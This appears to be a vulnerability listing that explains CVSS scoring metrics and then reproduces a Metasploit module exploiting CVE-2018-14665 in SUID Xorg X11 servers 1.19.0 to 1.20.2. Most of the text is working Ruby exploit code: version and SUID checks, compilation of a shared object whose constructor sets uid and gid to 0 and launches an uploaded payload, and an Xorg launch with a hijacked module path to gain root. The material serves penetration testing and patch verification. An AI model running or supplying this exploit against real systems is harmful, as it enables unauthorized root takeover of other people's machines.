The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Xorg X11 Server SUID modulepath Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::Kernel
include Msf::Post::Linux::System
def initialize(info = {})
super(update_info(info,
'Name' => 'Xorg X11 Server SUID modulepath Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges with SUID Xorg X11 server
versions 1.19.0 < 1.20.3.
A permission check flaw exists for -modulepath and -logfile options when
starting Xorg. This allows unprivileged users that can start the server
the ability to elevate privileges and run arbitrary code under root
privileges.
This module has been tested with CentOS 7 (1708).
CentOS default install will require console auth for the users session.
Xorg must have SUID permissions and may not start if running.
On successful exploitation artifacts will be created consistant
with starting Xorg.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Narendra Shinde', # Discovery and exploit
'Aaron Ringo', # Metasploit module
],
'DisclosureDate' => 'Oct 25 2018',
'References' =>
[
[ 'CVE', '2018-14665' ],
[ 'BID', '105741' ],
[ 'EDB', '45697' ],
[ 'EDB', '45742' ],
[ 'EDB', '45832' ],
[ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html' ]
],
'Platform' => %w[linux unix solaris],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => %w[shell meterpreter],
'Targets' =>
[
['Linux x64', {
'Platform' => 'linux',
'Arch' => ARCH_X64 } ],
['Linux x86', {
'Platform' => 'linux',
'Arch' => ARCH_X86 } ],
['Solaris x86', {
'Platform' => [ 'solaris', 'unix' ],
'Arch' => ARCH_SPARC } ],
['Solaris x64', {
'Platform' => [ 'solaris', 'unix' ],
'Arch' => ARCH_SPARC } ],
],
'DefaultTarget' => 0))
register_advanced_options(
[
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]),
OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ]),
OptString.new('sofile', [ true, 'Xorg shared object name for modulepath', 'libglx.so' ])
]
)
end
def check
# linux checks
uname = cmd_exec "uname"
if uname =~ /linux/i
vprint_status "Running additional check for Linux"
if datastore['ConsoleLock']
user = cmd_exec "id -un"
unless exist? "/var/run/console/#{user}"
vprint_error "No console lock for #{user}"
return CheckCode::Safe
end
vprint_good "Console lock for #{user}"
end
end
# suid program check
xorg_path = cmd_exec "command -v Xorg"
unless xorg_path.include?("Xorg")
vprint_error "Could not find Xorg executable"
return CheckCode::Safe
end
vprint_good "Xorg path found at #{xorg_path}"
unless setuid? xorg_path
vprint_error "Xorg binary #{xorg_path} is not SUID"
return CheckCode::Safe
end
vprint_good "Xorg binary #{xorg_path} is SUID"
x_version = cmd_exec "Xorg -version"
if x_version.include?("Release Date")
v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first)
unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2'))
vprint_error "Xorg version #{v} not supported"
return CheckCode::Safe
end
elsif x_version.include?("Fatal server error")
vprint_error "User probably does not have console auth"
vprint_error "Below is Xorg -version output"
vprint_error x_version
return CheckCode::Safe
else
vprint_warning "Could not parse Xorg -version output"
return CheckCode::Appears
end
vprint_good "Xorg version #{v} is vulnerable"
# process check for /X
proc_list = cmd_exec "ps ax"
if proc_list.include?('/X ')
vprint_warning('Xorg in process list')
return CheckCode::Appears
end
vprint_good('Xorg does not appear to be running')
return CheckCode::Vulnerable
end
def check_arch_and_compile(path, data)
cpu = ''
if target['Arch'] == ARCH_X86
cpu = Metasm::Ia32.new
compile_with_metasm(cpu, path, data)
elsif target['Arch'] == ARCH_SPARC
compile_with_gcc(path, data)
else
cpu = Metasm::X86_64.new
compile_with_metasm(cpu, path, data)
end
end
def compile_with_metasm(cpu, path, data)
shared_obj = Metasm::ELF.compile_c(cpu, data).encode_string(:lib)
write_file(path, shared_obj)
register_file_for_cleanup path
chmod path
rescue
print_status('Failed to compile with Metasm. Falling back to compiling with GCC.')
compile_with_gcc(path, data)
end
def compile_with_gcc(path, data)
unless has_gcc?
fail_with Failure::BadConfig, 'gcc is not installed'
end
vprint_good 'gcc is installed'
src_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(6..10)}.c"
write_file(src_path, data)
gcc_cmd = "gcc -fPIC -shared -o #{path} #{src_path} -nostartfiles"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
register_file_for_cleanup src_path
register_file_for_cleanup path
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{src_path} failed to compile"
end
chmod path
end
def exploit
check_status = check
if check_status == CheckCode::Appears
print_warning 'Could not get version or Xorg process possibly running, may fail'
elsif check_status == CheckCode::Safe
fail_with Failure::NotVulnerable, 'Target not vulnerable'
end
if is_root?
fail_with Failure::BadConfig, 'This session already has root privileges'
end
unless writable? datastore['WritableDir']
fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
end
print_good 'Passed all initial checks for exploit'
modulepath = datastore['WritableDir']
sofile = "#{modulepath}/#{datastore['sofile']}"
pscript = "#{modulepath}/.session-#{rand_text_alphanumeric 5..10}"
xdisplay = datastore['Xdisplay']
stub = %Q^
extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);
void _init(void) __attribute__((constructor));
void __attribute__((constructor)) _init() {
setgid(0);
setuid(0);
system("#{pscript} &");
}
^
print_status 'Writing launcher and compiling'
check_arch_and_compile(sofile, stub)
# Uploading
print_status 'Uploading your payload, this could take a while'
if payload.arch.first == 'cmd'
write_file(pscript, payload.encoded)
else
write_file(pscript, generate_payload_exe)
end
chmod pscript
register_file_for_cleanup pscript
# Actual exploit with cron overwrite
print_status 'Exploiting'
#Xorg -logfile derp -modulepath ',/tmp' :1
xorg_cmd = "Xorg -modulepath ',#{modulepath}' #{xdisplay} & >/dev/null"
cmd_exec xorg_cmd
Rex.sleep 7
cmd_exec "pkill Xorg"
Rex.sleep 1
end
end
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